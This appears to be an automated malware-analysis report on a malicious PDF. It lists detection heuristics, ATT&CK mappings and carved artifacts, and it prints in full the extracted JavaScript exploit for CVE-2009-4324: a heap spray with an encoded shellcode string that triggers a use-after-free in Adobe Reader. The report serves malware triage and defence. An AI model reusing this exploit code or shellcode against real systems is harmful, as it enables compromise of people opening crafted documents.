MALICIOUS
292
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
The PDF file contains embedded JavaScript that leverages the CVE-2009-4324 vulnerability through the media.newPlayer API. This JavaScript is heavily obfuscated but appears to be designed to execute arbitrary code, likely for downloading and running a second-stage payload. The presence of multiple critical heuristics related to JavaScript exploits and malformed streams strongly indicates malicious intent.
Machine Learning
- Nyx PDF Classifier malicious score 0.9986
Heuristics 9
-
media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
-
Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGEA valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
var sc = unescape(urpl("%Zc8d9%Z74d9%Zf424%Zeeba%Ze0ec%Z29de%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z2602%Z4207%Zdee0%Z55ee%Zdee4%Zecee%Zbabf%Zdc4f%Zdee0%Z67ee%Zd2a0%Z9c65%Z73fc%Z8465%Z8fe8%Z9965%Z55dc%Zc29a%Zdd98%Zba1b%Za86b%Zefce%Zed15%Za527%Z73a1%Z29ed%Z05d3%Z52e1%Ze6f0%Z981c%Z1fe8%Ze125%Z04e3%Z07ae%Ze511%Z99f1%Z8007%Zb265%Zddc4%Z8a33%Zd26b%Z67a5%Zc2be%Z31ed%Zda6b%Zef65%Z7525%Z0eb7%Zed5c%Z6f35%Zda23%Zec84%Z21b3%Z10b9%Zd9db%Z1f9b%Z8169%Z7512%Z8cb2%Z9b11%Z21e4%Z1099%Z891f%Z7516%Z9e8a%Zec86%Zdef0%Z13ee% … -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTHA PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
-
Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTALThe same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
- http://ns.adobe.com/pdf/1.3/In PDF document text
🗂 Part of campaign:
pdffactory.com
18 samples
Extracted artifacts 6
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0025_000.js |
pdf-javascript-stream | PDF /JS object 25 at offset 0x68B | 2375 bytes |
SHA-256: 8fc6fce967abb07d703b0b5f66060320cc53753aba7cf62bc24fbf15418709f2 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 3 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function urpl(sc){
var keyu= "u";
var re = /Z/g;
sc = sc.replace(re,keyu);
return sc;
}
function CRTYU()
{
var keyu= "u";
var re = /Z/g;
sc = sc.replace(re,keyu);
this._strings = new Array;
}
CRTYU.prototype.append = function(str)
{
this._strings.push(str);
return this;
}
CRTYU.prototype.toString = function()
{
return this._strings.join("");
}
CRTYU.prototype.length = function()
{
var str = this._strings.join("");
return str.length;
}
var a = "med";
var c = "ia";
var b = "newPlay";
var d = "er";
var sc = unescape(urpl("%Zc8d9%Z74d9%Zf424%Zeeba%Ze0ec%Z29de%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z2602%Z4207%Zdee0%Z55ee%Zdee4%Zecee%Zbabf%Zdc4f%Zdee0%Z67ee%Zd2a0%Z9c65%Z73fc%Z8465%Z8fe8%Z9965%Z55dc%Zc29a%Zdd98%Zba1b%Za86b%Zefce%Zed15%Za527%Z73a1%Z29ed%Z05d3%Z52e1%Ze6f0%Z981c%Z1fe8%Ze125%Z04e3%Z07ae%Ze511%Z99f1%Z8007%Zb265%Zddc4%Z8a33%Zd26b%Z67a5%Zc2be%Z31ed%Zda6b%Zef65%Z7525%Z0eb7%Zed5c%Z6f35%Zda23%Zec84%Z21b3%Z10b9%Zd9db%Z1f9b%Z8169%Z7512%Z8cb2%Z9b11%Z21e4%Z1099%Z891f%Z7516%Z9e8a%Zec86%Zdef0%Z13ee%Zd697%Z13bc%Z2ab7%Zab67%Zb418%Z61ee%Z2aa7%Z13be%Zd697%Z9b11%Z2118%Z1099%Z891f%Z671e%Zd2af%Zab65%Z1e18%Z12e6%Zee60%Zac4c%Z2902%Zbb11%Z3618%Z13a3%Z211f%Z89f8%Zce1a%Z26ba%Z4f4f%Ze442%Za83a%Z7743%Z019d%Zb9dd%Zdee1%Zcd79%Zdee0%Zf741%Zdee1%Zeec2%Zdee0"));
var nop = unescape("%u0c0c");
var e = "new Date()";
var f = "p@111111111111111111111111";
var g = " : yyyy111";
var str1=unescape(urpl("%Z0d0c%Z0d0c%Z0d0c%Z0d0c%Z4170%Z6d7a%Z554b%Z4d67%Z794f%Z514f%Z6f4d%Z585a%Z764f%Z4c56%Z6f4b%Z4858%Z4249%Z666d%Z566f%Z625a%Z4567%Z7568%Z6a46%Z5258%Z714e%Z7961%Z7a61%Z4878%Z756b%Z754d%Z4c57%Z647a%Z5870%Z4d46%Z4462%Z4b4f"));
var h = "pri";
var i = "ntd";
var j = "printd";
var TMP = new CRTYU();
var lenth = 36000 - sc["length"];
lenth = lenth/2;
while(nop["length"] <= lenth)
{
TMP.append(nop);
TMP.append(nop);
nop = TMP.toString();
}
memory=new Array();
for(i=0;i<0xE00;i++)
{
var TMP2 = new CRTYU();
TMP2.append(nop);
TMP2.append(sc);
memory[i] = TMP2.toString();
}
if(app.viewerVersion<9)
{
util[j](f+g, e);
util[j](f+g, e);
try {this[a+c][b+d](null);} catch(e) {}
util[j](f+g, e);
}
else
{
util[j](f+g, e);
util[j](f+g, e);
try {this[a+c][b+d](null);} catch(e) {}
util[j](str1,e);
}
|
|||
legacy_pdfkit_stage_000.js |
deobfuscated-js | string-concatenation normalized Acrobat API aliases at offset 0x68B | 126 bytes |
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74 |
|||
Preview scriptFirst 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */ |
|||
font_00_sfnt_off000108a5.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x108A5 | 3763 bytes |
SHA-256: aa04ff779405cdf155a2261c4808ac00ed0ad48c86fcb28b9cac7f6a4234b110 |
|||
font_01_sfnt_off00011397.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x11397 | 4746 bytes |
SHA-256: c514bf3c60be48c7ca2677769f281b410244461e5ed3cb061549cbe4ca2769fc |
|||
polyglot_child_pdf_off0000a06e.pdf |
polyglot-child-pdf | Secondary PDF body inside pdf container at offset 0xA06E | 46432 bytes |
SHA-256: 8f611a4ea7f0a790f7ec605de81c614ecd2793565b4911ebebf667c035c09a7b |
|||
polyglot_child_pdf_off00013de1.pdf |
polyglot-child-pdf | Secondary PDF body inside pdf container at offset 0x13DE1 | 6125 bytes |
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.